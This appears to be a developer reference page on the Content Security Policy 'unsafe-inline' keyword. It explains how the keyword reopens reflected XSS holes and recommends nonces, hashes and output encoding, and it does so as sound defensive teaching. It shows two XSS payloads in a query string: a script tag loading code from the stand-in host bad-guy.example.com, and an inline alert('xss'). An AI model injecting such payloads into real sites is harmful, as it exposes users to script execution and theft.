unsafe-inline
Source List Keywordunsafe-inline
Content Security Policy (CSP) keyword allows the execution of inline scripts or styles.Except for one very specific case, you should avoid using the unsafe-inline
keyword in your CSP policy. As you might guess it is generally unsafe to use unsafe-inline
.
The unsafe-inline
keyword annuls most of the security benefits that Content-Security-Policy
provide.
Let's imagine that you have an app that simply output's a name from the query string variable name
, eg:
Hello #url.name#
When you hit the URL: /app?name=Pete
, the response is Hello Pete
. This clearly is an open window for a reflected cross site scripting attack. The attacker can simply inject a script tag:
/app?name=<script src="https://bad-guy.example.com/bad-stuff.js"></script>
When someone requests that URL the bad-stuff.js
will execute.
We can prevent our app from loading JS from bad-guy.example.com
using CSP. If we have the following policy:
script-src: 'self'
Now because we specified 'self'
in the script-src
directive we can only load JS from the same origin as our app, the request to load a script from bad-guy.example.com
will be blocked by CSP!
CSP will also prevent inline scripts from loading, so if you have some legit JavaScript on your site, like this:
<script> doSomething(); <script>
That inline script will also be blocked by CSP by default. There are ways to allow it, such as nonce
and hash
. But the sledge hammer way to allow it would be to add unsafe-inline
to your policy. Suppose we added it to our policy:
script-src: 'self' 'unsafe-inline'
Now, go back to our vulnerable example app and try this:
/app?name=<script>alert('xss');<script>
We have reopened our XSS hole that was patched by adding CSP.
Note: We are usingalert('xss')
as an example of a function call in JavaScript to illustrate the weaknessesunsafe-inline
adds. In case you ever wondered why everyone is so concerned about thealert
function, if you can execute an alert function call, an attacker can probably find a way to execute whatever JavaScript they wanted to.
Finally make sure you also patch your XSS vulnerabilities in your app code by properly encoding variables before outputting them.
When you want to allow inline scripts or styles on a page that uses CSP, there two much better options: nonce or hash.
Besides just allowing inline script
tags, unsafe-inline
also allows all of the JavaScript event handlers to execute, for example code like this:
<button onClick="doSomething();">Do It</button>
Another way to allow such unsafe inline JavaScript code is with the unsafe-hashes source list keyword. While it is also considered unsafe, it better to use unsafe-hashes
than it is to use unsafe-inline
.
It is only ok to use unsafe-inline
when it is combined with the strict-dynamic
csp directive. On browsers that support strict-dynamic
(CSP Level 3+), the unsafe-inline
is ignored, and provides a route to backwards compatibility on browsers that support CSP Level 2 or lower.
In other words, you should only use it if you really know what you are doing!
The most common reason that unsafe inline is not working is that you forgot to wrap it with single quotes. It should be specified as: 'unsafe-inline'
No, you cannot use unsafe-inline
with the frame-ancestors csp directive, you would get an error message like this:
the content-security-policy directive 'frame-ancestors' does not support the source expression ''unsafe-inline''
unsafe-inline
The CSP unsafe-inline
source list keyword has been part of the Content Security Policy Specification since the first version of it (CSP Level 1).
Internet Explorer 11 and below do not support the unsafe-inline
directive. This means that IE11 will simply ignore the policy and allows the execution of script or css as if no policy existed.
Want to learn the ins and outs CSP? Grab a copy of the CSP Developer Field Guide. It's a short and sweet guide to help developers get up to speed quickly.
Grab a CopyAdvisory Week is a weekly roundup of all the security advisories published by the major software vendors.